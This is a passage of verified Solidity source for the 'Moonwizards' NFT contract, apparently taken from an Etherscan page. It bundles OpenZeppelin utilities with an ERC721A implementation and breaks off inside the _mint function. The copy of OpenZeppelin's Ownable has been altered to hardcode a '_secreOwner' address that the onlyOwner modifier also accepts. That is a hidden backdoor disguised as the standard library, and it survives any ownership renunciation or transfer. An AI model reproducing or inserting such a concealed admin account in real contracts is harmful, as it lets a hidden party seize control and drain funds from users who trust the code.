Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library Strings    - function toString(uint256 value)    - function toHexString(uint256 value)    - function toHexString(uint256 value, u ... library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(    - function functionCallWithValue(    - function functionCallWithValue(    - function functionStaticCall(address t ...    - function functionStaticCall(    - function functionDelegateCall(address ...    - function functionDelegateCall(    - function verifyCallResult( interface IERC721Receiver    - function onERC721Received( interface IERC165    - function supportsInterface(bytes4 int ...    - function supportsInterface(bytes4 int ... interface IERC721 is IERC165    - function balanceOf(address owner)    - function ownerOf(uint256 tokenId)    - function safeTransferFrom(    - function safeTransferFrom(    - function transferFrom(    - function approve(address to, uint256 ...    - function setApprovalForAll(address op ...    - function getApproved(uint256 tokenId)    - function isApprovedForAll(address own ... interface IERC721Metadata is IERC721    - function name()    - function symbol()    - function tokenURI(uint256 tokenId) interface IERC721Enumerable is IERC72 ...    - function totalSupply()    - function tokenOfOwnerByIndex(address ...    - function tokenByIndex(uint256 index)    - function _msgSender()    - function _msgData()    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ...  contract ERC721A is Context, ERC16 ...    - function totalSupply()    - function tokenByIndex(uint256 index)    - function tokenOfOwnerByIndex(address ...    - function supportsInterface(bytes4 int ...    - function balanceOf(address owner)    - function _numberMinted(address owner)    - function ownershipOf(uint256 tokenId)    - function ownerOf(uint256 tokenId)    - function name()    - function symbol()    - function tokenURI(uint256 tokenId)    - function _baseURI()    - function approve(address to, uint256 ...    - function getApproved(uint256 tokenId)    - function setApprovalForAll(address op ...    - function isApprovedForAll(address own ...    - function transferFrom(    - function safeTransferFrom(    - function safeTransferFrom(    - function _exists(uint256 tokenId)    - function _safeMint(address to, uint25 ...    - function _safeMint(    - function _mint(    - function _transfer(    - function _approve(    - function _checkOnERC721Received(    - function _beforeTokenTransfers(    - function _afterTokenTransfers(  contract Moonwizards is ERC721A, O ... *    - function tokenURI(uint256 _tokenId)    - function _startTokenId()    - function mint(uint256 count)    - function costCheck()    - function maxFreePerWallet()    - function burn(address mintAddress, ui ...    - function _baseURI()    - function setBaseUri(string memory bas ...    - function setPrice(uint256 price_)    - function setMaxTotalFree(uint256 MaxT ...    - function setMaxPerFree(uint256 MaxPer ...    - function toggleMinting()    - function CommunityWallet(uint quantit ...    - function withdraw()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-12-23
*/

// File: contracts/Moonwizards.sol
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;


library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account appr    ved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;










/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
